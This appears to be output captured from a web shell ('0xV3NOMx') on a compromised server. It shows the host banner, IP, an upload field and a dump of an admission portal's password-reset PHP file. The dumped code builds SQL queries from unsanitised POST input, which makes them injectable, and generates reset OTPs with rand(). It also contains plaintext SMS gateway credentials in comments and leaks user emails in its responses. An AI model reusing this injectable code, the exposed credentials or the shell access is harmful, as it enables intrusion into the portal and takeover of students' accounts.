0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.219.247.59


Current Path : /proc/thread-self/root/var/www/oasis/aiet/adm/
Upload File :
Current File : //proc/thread-self/root/var/www/oasis/aiet/adm/forgot-password.php

<?php
include ("database.php");
include("../../sms/sendsmsapiv1.php");
include("sendGridMail.php");
error_reporting(E_ALL);
ini_set('display_errors', 'on');

$query1 = "select FFOLDER from control";
$result1 = mysqli_query($conn,$query1);
$row1 = $result1->fetch_assoc();
$FFOLDER = $row1['FFOLDER'];

//$regno = $_POST['regno'];
$mob = trim($_POST['mobile']);

$query = "SELECT femail from collstud 
			where fmobileno = '{$mob}' and ifnull(factive,'') = 'T'";

$result = mysqli_query($conn,$query);
$count = mysqli_num_rows($result);
if($count >0)
{
	$row = mysqli_fetch_assoc($result);
	$email = $row['femail'];
	date_default_timezone_set('Asia/Kolkata');
	$time =  date("h:i A");
	$otp = rand(100000, 900000);
	//$smsotp = "Dear Student, Your mobile OTP for reseting password is $otp";
	$smsotp = "From $FFOLDER: Dear Student, OTP for reseting password is $otp. sent at {$time} - Uniclare";
	// $username = 'logisyhttp';
	// $password = 'Logis986';
	// $from = 'LOGINF';
	// $to = $mob;
	// $text = $smsotp;
	// $category = '';

	// $smsresp = sendsmaapi($username,$password,$from,$to,$text,$category);

	$sms = new SMS("042", 'OTP');
  	$sms->sendIndvidualSms($mob, $smsotp, '900', 'ADM');

	$message="<html>";
	$message.="<body>";
	$message.="<style>";		
	$message.=".mail_tbl td{text-align:left; padding:2px; font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif;}";	
	$message.="</style>";
	$message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>Dear Student,</p></br>";
	$message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>OTP for reseting your password is $otp<br/></p></br>";
			
	$message.="</br>";
	$message.="</body>";
	$message.="</html>";
	$subject="Admission Portal : Forgot Password"; 
	if($email != '' )
	{
		$resp = sendGridMail($email,$subject,$message,'');

		$data = json_decode($resp, true);
	}
	//$data = send_manual_mail($email,$subject,$message,$replay_to=null,$cc=null,'techsupport@logisys.net.in');

	
	$query = "update collstud set fresetotp = '{$otp}', fresetotptime = now(),
	fresetotpcount = fresetotpcount+1 where fmobileno = '{$mob}'";
	$result = mysqli_query($conn,$query);

	if($result == 1)
	{
		$response['femail'] = $email;
		$response['status'] = 'success';
		$response['msg'] = 'OTP sent to your registered mobile: '.$mob.' and email :'.$email;
		echo json_encode($response);
	}
	else
	{
		$response['status'] = 'error';
		$response['msg'] = 'Something went wrong';
		echo json_encode($response);
	}

}
else
{
	$response['status'] = 'error';
	$response['msg'] = 'Try with registered mobile number';
	echo json_encode($response);
}

mysqli_close($conn);

?>